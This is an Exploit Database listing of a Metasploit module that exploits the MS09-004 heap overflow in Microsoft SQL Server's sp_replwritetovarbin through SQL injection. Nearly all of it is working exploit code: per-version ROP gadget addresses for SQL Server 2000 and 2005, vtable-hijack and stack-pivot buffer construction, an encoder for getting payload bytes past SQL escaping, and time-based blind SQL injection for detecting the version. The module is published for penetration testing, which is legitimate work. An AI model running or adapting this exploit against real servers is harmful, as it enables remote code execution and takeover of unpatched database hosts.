Microsoft SQL Server – sp_replwritetovarbin Memory Corruption (MS09-004) (via SQL Injection) (Metasploit)

• Exploit Database
• 94 阅读

• 作者： Metasploit
  日期： 2011-02-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16396/

• ##
  # $Id: ms09_004_sp_replwritetovarbin_sqli.rb 11730 2011-02-08 23:31:44Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::MSSQL_SQLI
  
  	def initialize(info = {})
  
  		super(update_info(info,
  			'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection',
  			'Description'=> %q{
  					A heap-based buffer overflow can occur when calling the undocumented
  				"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
  				all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
  				and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
  				Microsoft patched this vulnerability in SP3 for 2005 without any public
  				mention.
  
  				This exploit smashes several pointers, as shown below.
  
  				1. pointer to a 32-bit value that is set to 0
  				2. pointer to a 32-bit value that is set to a length influcenced by the buffer
  					length.
  				3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
  					this value is referenced with a displacement of 0x38. For MSSQL 2005, the
  					displacement is 0x10. The address of our buffer is conveniently stored in
  					ecx when this instruction is executed.
  				4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
  					a displacement of 4. This pointer is not used by this exploit.
  
  				This particular exploit replaces the previous dual-method exploit. It uses
  				a technique where the value contained in ecx becomes the stack. From there,
  				return oriented programming is used to normalize the execution state and
  				finally execute the payload via a "jmp esp". All addresses used were found
  				within the sqlservr.exe memory space, yielding very reliable code execution
  				using only a single query.
  
  				NOTE: The MSSQL server service does not automatically restart by default. That
  				said, some exceptions are caught and will not result in terminating the process.
  				If the exploit crashes the service prior to hijacking the stack, it won't die.
  				Otherwise, it's a goner.
  			},
  			'Author' =>
  				[
  					'jduck',# MS09-004 base exploit
  					'Rodrigo Marcos'# SQL Injection mods
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11730 $',
  			'References' =>
  				[
  					[ 'OSVDB', '50589' ],
  					[ 'CVE', '2008-5416' ],
  					[ 'BID', '32710' ],
  					[ 'MSB', 'MS09-004' ],
  					[ 'URL', 'http://www.milw0rm.com/exploits/7501' ],
  					[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/exploiting-ms09-004-via-sql-injection/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh',
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Payload'=>
  				{
  					'Space'=> 512,
  					'BadChars' => "", # bad bytes get encoded!
  					'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
  					'DisableNops' => true
  				},
  			'Platform' => 'win',
  			'Privileged' => true,
  			'Targets'=>
  				[
  					# auto targeting!
  					[ 'Automatic', { } ],
  
  					#
  					# Individual targets
  					#
  					[
  						# Microsoft SQL Server2000 - 8.00.194 (Intel X86)
  						# Aug6 2000 00:57:48
  						'MSSQL 2000 / MSDE SP0 (8.00.194)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> -13, # offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x38,# displacement from call [eax+0x38] crash
  							'Writable' => 0x42b6cfe0,# any writable addr (not even necessary really)
  							'Vtable' => 0x00a87f26,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x6900a7,# not directly used - call [ecx+0x08]
  							'Disp' => 0x08,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x0041b78f,# xchg ecx,esp / sbb [eax],al / pop esi / ret
  							'Popped' => 0x4, # byte count popped in above (before ret)
  							'Offset' => 0x28,# offset to the new stack!
  							'FixESP' => 0x0071f5fb,# advance esp to next ret (add esp,0x20 / ret)
  							'Ret'=> 0x0041c9a2 # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server2000 - 8.00.384 (Intel X86)
  						# May 23 2001 00:02:52
  						'MSSQL 2000 / MSDE SP1 (8.00.384)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> -13, # offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x38,# displacement from call [eax+0x38] crash
  							'Writable' => 0x42b6cfe0,# any writable addr (not even necessary really)
  							'Vtable' => 0x00a95b2f,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x4b4f00,# not directly used - call [ecx-0x18]
  							'Disp' => 0x34,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x0044d300,# xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
  							'Popped' => 0x8, # byte count popped in above (before ret)
  							'Offset' => 0x28,# offset to the new stack!
  							'FixESP' => 0x004a2ce9,# advance esp to next ret (add esp,0x1c / ret)
  							'Ret'=> 0x004caa15 # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server2000 - 8.00.534 (Intel X86)
  						# Nov 19 2001 13:23:50
  						'MSSQL 2000 / MSDE SP2 (8.00.534)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> -13, # offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x38,# displacement from call [eax+0x38] crash
  							'Writable' => 0x42b6cfe0,# any writable addr (not even necessary really)
  							'Vtable' => 0x00a64f7e,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x660077,# not directly used - call [ecx-0x18]
  							'Disp' => 0x34,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x0054131c,# xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
  							'Popped' => 0x8, # byte count popped in above (before ret)
  							'Offset' => 0x28,# offset to the new stack!
  							'FixESP' => 0x005306a0,# advance esp to next ret (add esp,0x1c / ret)
  							'Ret'=> 0x004ca984 # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server2000 - 8.00.760 (Intel X86)
  						# Dec 17 2002 14:22:05
  						'MSSQL 2000 / MSDE SP3 (8.00.760)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> -13, # offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x38,# displacement from call [eax+0x38] crash
  							'Writable' => 0x42b6cfe0,# any writable addr (not even necessary really)
  							'Vtable' => 0x00ac344e,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x490074,# not directly used - call [ecx+0x14]
  							'Disp' => 0x34,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x00454303,# xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
  							'Popped' => 0x8, # byte count popped in above (before ret)
  							'Offset' => 0x28,# offset to the new stack!
  							'FixESP' => 0x00503413,# advance esp to next ret (add esp,0x20 / ret)
  							'Ret'=> 0x0043fa97 # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server2000 - 8.00.2039 (Intel X86)
  						# May3 2005 23:18:38
  						'MSSQL 2000 / MSDE SP4 (8.00.2039)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> -13, # offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x38,# displacement from call [eax+0x38] crash
  							'Writable' => 0x42b6cfe0,# any writable addr (not even necessary really)
  							'Vtable' => 0x0046592e,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x69f5e8,# not directly used - call [ecx+0x14]
  							'Disp' => 0x14,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x007b39a8,# push ecx / pop esp / mov ax,[eax+0x18] / mov [ecx+0x62],ax / pop ebp / ret 0x4
  							'Popped' => 0x4, # byte count popped in above (before ret)
  							'Offset' => 0x20,# offset to the new stack!
  							'FixESP' => 0x00b3694d,# advance esp to next ret (add esp,0x20 / ret)
  							'Ret'=> 0x0047c89d # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
  						# Oct 14 2005 00:33:37
  						'MSSQL 2005 SP0 (9.00.1399.06)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> 63,# offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x10,# displacement from mov eax,[edx+0x10] / call eax crash
  							'Writable' => 0x53ad5330,# any writable addr (not even necessary really)
  							'Vtable' => 0x02201ca8,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x10e860f, # not directly used - call [ecx+0x14]
  							'Disp' => 0x50,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x0181c0d4,# push ecx / pop esp / pop ebp / ret
  							'Popped' => 0x4, # byte count popped in above (before ret)
  							'Offset' => 0x20,# offset to the new stack!
  							'FixESP' => 0x0147deb7,# advance esp to next ret (add esp,0x10 / ret)
  							'Ret'=> 0x0112c2c7 # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server 2005 - 9.00.2047.00 (Intel X86)
  						# Apr 14 2006 01:12:25
  						'MSSQL 2005 SP1 (9.00.2047.00)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> 63,# offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x10,# displacement from mov eax,[edx+0x10] / call eax crash
  							'Writable' => 0x53ad5330,# any writable addr (not even necessary really)
  							'Vtable' => 0x0244c803,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x17139e9, # not directly used - call [ecx+0x14]
  							'Disp' => 0x52,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x0183bf9c,# push ecx / pop esp / pop ebp / ret
  							'Popped' => 0x4, # byte count popped in above (before ret)
  							'Offset' => 0x20,# offset to the new stack!
  							'FixESP' => 0x014923c1,# advance esp to next ret (add esp,0x10 / ret)
  							'Ret'=> 0x011b204c # jmp esp
  						},
  					],
  
  					[
  						# Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86)
  						# Feb9 2007 22:47:07
  						'MSSQL 2005 SP2 (9.00.3042.00)',
  						{
  							'Num'=> 32,# value for "start_offset"
  							'VtOff'=> 63,# offset from 'Num' to smashed vtable ptr
  							'VtDisp' => 0x10,# displacement from mov eax,[edx+0x10] / call eax crash
  							'Writable' => 0x53ad5330,# any writable addr (not even necessary really)
  							'Vtable' => 0x027fca52,# becomes eax for [eax+0x38] (must be valid to exec)
  							'FixDisp'=> 0x1106d6b, # not directly used - call [ecx+0x14]
  							'Disp' => 0x52,# displacement on call [ecx+disp] used
  							'ecx2esp'=> 0x01849641,# push ecx / pop esp / pop ebp / ret
  							'Popped' => 0x4, # byte count popped in above (before ret)
  							'Offset' => 0x20,# offset to the new stack!
  							'FixESP' => 0x01498b22,# advance esp to next ret (add esp,0x10 / ret)
  							'Ret'=> 0x010a5379 # jmp esp
  						},
  					],
  
  					[ 'CRASHER', { } ]
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Dec 09 2008'
  			))
  
  		register_options(
  			[
  				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ])
  			])
  	end
  
  	def check
  		# the ping to port 1434 method has two drawbacks...
  		# #1, it doesn't work on mssql 2005 or newer (localhost only listening)
  		# #2, it doesn't give an accurate version number (sp/os)
  
  		# since we need to have credentials for this vuln, we just login and run a query
  		# to get the version information
  		if not (version = mssql_query_version)
  			return Exploit::CheckCode::Safe
  		end
  		print_status("@@version returned:\n\t" + version)
  
  		# Any others?
  		return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/)
  		return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/)
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  
  		mytarget = nil
  		if target.name =~ /Automatic/
  			print_status("Attempting automatic target detection...")
  
  			version = mssql_query_version
  			raise RuntimeError, "Unable to get version!" if not version
  
  			if (version =~ /8\.00\.194/)
  				mytarget = targets[1]
  			elsif (version =~ /8\.00\.384/)
  				mytarget = targets[2]
  			elsif (version =~ /8\.00\.534/)
  				mytarget = targets[3]
  			elsif (version =~ /8\.00\.760/)
  				mytarget = targets[4]
  			elsif (version =~ /8\.00\.2039/)
  				mytarget = targets[5]
  			elsif (version =~ /9\.00\.1399\.06/)
  				mytarget = targets[6]
  			elsif (version =~ /9\.00\.2047\.00/)
  				mytarget = targets[7]
  			elsif (version =~ /9\.00\.3042\.00/)
  				mytarget = targets[8]
  			end
  
  			if mytarget.nil?
  				raise RuntimeError, "Unable to automatically detect the target"
  			else
  				print_status("Automatically detected target \"#{mytarget.name}\"")
  			end
  		else
  			mytarget = target
  		end
  
  		sqlquery = %Q|declare @i int,@z nvarchar(4000)
  set @z='declare @e int,@b varbinary,@l int;'
  set @z=@z+'exec sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',@l,@l,@l,@l,@l,@l,@l,@l'
  exec sp_executesql @z|
  
  		# just crash it with a pattern buffer if the CRASHER target is selected..
  		if mytarget.name == 'CRASHER'
  			sploit = Rex::Text.pattern_create(2048)
  			print_status("Attempting to corrupt memory to cause an exception!")
  			num = 32
  		else
  			# trigger the memory corruption
  			num = mytarget['Num']
  			vt_off = mytarget['VtOff']
  			vt_disp = mytarget['VtDisp']
  			vtable = mytarget['Vtable']
  			ecx_disp = mytarget['Disp']
  			esp_off = mytarget['Offset']
  			hijack_esp = mytarget['ecx2esp']
  			first_esp = mytarget['Popped']
  			fix_esp = mytarget['FixESP']
  			writable = mytarget['Writable']
  			corruptable_bytes = 0x44
  
  			# make sploit buff
  			sz = (num + vt_off) + esp_off + (2 + corruptable_bytes) + payload.encoded.length
  			#sploit = Rex::Text.pattern_create(sz)
  			sploit = rand_text_alphanumeric(sz)
  
  			# remove displacement! (using call [ecx+displacement])
  			vtable_off = (num + vt_off)
  			sploit[vtable_off,4] = [(vtable - vt_disp)].pack('V')
  
  			# stack -> heap
  			hijack_off = vtable_off + ecx_disp
  			sploit[hijack_off,4] = [hijack_esp].pack('V')
  			# becomes eax on mssql 2ksp4 (prevent crash)
  			sploit[(vtable_off-4),4] = [writable].pack('V')
  
  			# becomes eip after esp hijack
  			fixesp_off = vtable_off + first_esp
  			sploit[fixesp_off,4] = [fix_esp].pack('V')
  
  			# rest of magic stack (disable DEP?)
  			stack_off = vtable_off + esp_off
  			stack = []
  			stack << mytarget['Ret']
  			stack = stack.pack('V*')
  			# jump over the stuff that gets corrupted
  			stack << "\xeb" + [corruptable_bytes].pack('C')
  			stack << rand_text_alphanumeric(corruptable_bytes)
  			stack << payload.encoded
  			sploit[stack_off,stack.length] = stack
  
  			# this has to be put in after the stack area since the ptr for sql2k sp1 is in the corrupted stuff
  			sploit[hijack_off,4] = [hijack_esp].pack('V')
  
  			print_status("Redirecting flow to %#x via call to our faked vtable ptr @ %#x" % [mytarget['FixDisp'], vtable])
  		end
  
  		# encode chars that get modified
  		enc = mssql_encode_string(sploit)
  
  		# put the number in (start offset)
  		runme = sqlquery.gsub(/%NUM%/, num.to_s)
  		runme.gsub!(/%STUFF%/, enc)
  
  		# go!
  		print_status('The SQL Server will probably die after exploitation. Follow the "POSTEXPLOITATION" instructions in the README file')
  		begin
  			mssql_query(runme, datastore['VERBOSE'])
  		rescue ::Errno::ECONNRESET, EOFError
  			print_error("Error: #{$!}")
  		end
  
  		handler
  		disconnect
  	end
  
  
  	def mssql_str_to_chars(str)
  		ret = ""
  		str.unpack('C*').each do |ch|
  			ret += "+" if ret.length > 0
  			ret += "char("
  			ret << ch.to_s
  			ret += ")"
  		end
  		return ret
  	end
  
  
  	def mssql_encode_string(str)
  		badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"
  
  		enc = ""
  		in_str = true
  		str.unpack('C*').each do |ch|
  			# double-double single quotes
  			if ch == 0x27
  				if not in_str
  					enc << "+'"
  					in_str = true
  				end
  				enc << ch.chr * 4
  				next
  			end
  
  			# double backslashes
  			if ch == 0x5c
  				if not in_str
  					enc << "+'"
  					in_str = true
  				end
  				enc << ch.chr * 2
  				next
  			end
  
  			# convert any bad stuff to char(0xXX)
  			if ((idx = badchars.index(ch.chr)))
  				enc << "'" if in_str
  				enc << "+char(0x%x)" % ch
  				in_str = false
  			else
  				enc << "+'" if not in_str
  				enc << ch.chr
  				in_str = true
  			end
  		end
  		enc << "+'" if not in_str
  		return enc
  	end
  
  
  	def mssql_query_version
  		
  		delay = 5
  
  		# Let's first check that we can reach the host with no problems
  		t = Time.now
  		res = mssql_query("select @@version",datastore['VERBOSE'])
  		response_time = Time.now-t
  		if (response_time > delay)
  			return nil
  		end
  
  		# Now we test the SQL Server versions
  		versions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00]
  		versions.each_with_index { |version,i|
  			t = Time.now
  			res = mssql_query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE'])
  			response_time = Time.now-t
  			if (response_time > delay)
  				return version
  			end
  		}
  
  		return nil
  	end
  
  end
  

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